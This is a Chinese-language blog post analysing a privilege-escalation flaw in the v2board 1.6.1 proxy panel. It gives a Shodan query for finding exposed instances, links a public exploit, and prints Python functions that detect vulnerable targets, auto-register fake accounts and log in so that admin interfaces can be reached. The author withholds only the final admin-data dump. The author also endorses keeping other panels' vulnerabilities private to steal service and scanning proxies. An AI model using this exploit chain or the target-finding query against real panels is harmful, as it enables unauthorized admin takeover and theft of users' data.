v2board v.1.6.1 机场面板管理接口越权漏洞分析

前几天爆发的v2board机场面板漏洞，泄露了大量机场用户的数据。简单看了下，原理挺简单的，就是authorization使用redis缓存后没有对普通用户和管理员做鉴权。以普通用户登录成功后可以直接请求管理员的接口。

文章目录

Shodan 搜索语法

http.html:"/theme/v2board/assets/"

漏洞exp

https://github.com/zgao264/v2board-exp

漏洞代码分析

代码位置：app/Http/Middleware/Admin.php

在Admin.php中判断redis缓存中是否存在authorization，如果存在就可以访问admin的接口。而这个authorization是没有进一步判断是不是管理员的authorization，所以就造成了普通用户也可以接管机场后台。

修复后的代码去掉了之前缓存判断的逻辑。

exp开发思路

漏洞原理非常简单，那么如何快速写一个exp脚本？

如何鉴别存在漏洞的v2board版本？

观察上面存在漏洞的代码，我们可以发现在缓存的判断逻辑中，403的提示是不一样的。如果请求header中没有携带authorization，那么就返回未登录或登陆已过期。如果有则进一步判断authorization的值是否在redis中，没有则返回鉴权失败，请重新登录。

所以我们可以构造一个请求触发返回鉴权失败，请重新登录这个403。代码如下：

headers = {
    'authorization': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36',
}

def POC():
    """
    检测目标v2board是否为v1.6.1漏洞版本
    """
    path = '/api/v1/admin/config/fetch'
    url = f"{target}{path}".replace('//api','/api')
    r = s.get(url,headers=headers,verify=False)
    if r.status_code == 403 and '\\u9274\\u6743\\u5931\\u8d25'  in r.text:
        print(f"[+]{target}存在漏洞！")
    else:
        print(f"[-]{target}不存在漏洞！")
        exit(0)

手动构造一个header，authorization可以是任意值。

判断是否需要邮箱验证注册

v2board的后台大部分是可以直接注册的，部分需要邮箱验证。对于邮箱验证的需要对接邮箱的api才能完成自动化利用，我就懒得写了。

代码如下：

def check_verify():
    """
    判断目标注册是否需要邮箱、邀请验证
    """
    path = '/api/v1/guest/comm/config'
    url = f"{target}{path}".replace('//api','/api')
    resp = s.get(url,headers=headers).json()['data']
    if not resp['is_invite_force'] and not resp['is_email_verify']:
        print(f"[+]目标无需邮箱验证，可直接获取权限")
    elif resp['is_invite_force']:
        print(f"[-]目标需要邀请注册，无法获取权限!")
        exit(0)
    elif resp['is_email_verify']:
        print("目标需要获取邮箱验证码才能进一步利用！")
        exit(0)

注册账号并登录

对于没有邮箱验证的后台，可以使用任意伪造的邮箱进行注册，注册成功后会返回auth_data。

def registry_acc():
    """
    随机注册账号,并返回auth_data
    """
    rand_num = str(random.random())[8:]
    QQ_mail = rand_num + '@qq.com'
    passwd = rand_num
    
    data = {
        'email': QQ_mail,
        'password': passwd,
        'invite_code': '',
        'email_code': ''
    }
    path = '/api/v1/passport/auth/register'
    url = f"{target}{path}".replace('//api','/api')
      
    r = s.post(url,headers=headers,data=data)
    if r.status_code == 200:
        print(f"[+]当前随机注册的账号为{QQ_mail},密码为{passwd}")
        return QQ_mail,passwd
    else:
        print(f"[-]目标已关闭账号注册！")
        exit(0)

登录账号将authorization写入redis缓存

这个是很重要的一步，为漏洞代码的判断逻辑。注意登录后需要请求/user/info接口才能使authorization生效。

def login(email,passwd):
    """
    登录后需要请求/user/info接口才能使authorization生效
    """
    data = {
        'email': email,
        'password': passwd
    }
    path = '/api/v1/passport/auth/login'
    url = f"{target}{path}".replace('//api','/api')
    r = s.post(url, headers=headers, data=data)
    if r.status_code == 200:
        print('[+]账号登录成功！')
        auth_data = r.json()['data']['auth_data']
        headers['authorization'] = auth_data
        s.get(f'{target}/api/v1/user/info', headers=headers)
        return auth_data
    else:
        print('[-]账号登录失败！')
        exit(0)

获取管理员接口数据

这部分就是把敏感的管理接口数据给dump下来，代码就不放了。利用如下：

总结

漏洞原理很简单，属于逻辑漏洞。但是从代码审计的角度还不一定好发现，渗透测越权应该很容易测试出来。

但是我还是想吐槽一下，公开机场的这些用户数据也没啥意义，大不了换个订阅继续弄。有0day还不如留着白嫖机场节点，我之前挖的其他机场的漏洞从来没公开过，用来做扫描代理还是挺好使的。

Post Views: 3,602

赞赏

微信赞赏支付宝赞赏

v2board v.1.6.1 机场面板管理接口越权漏洞分析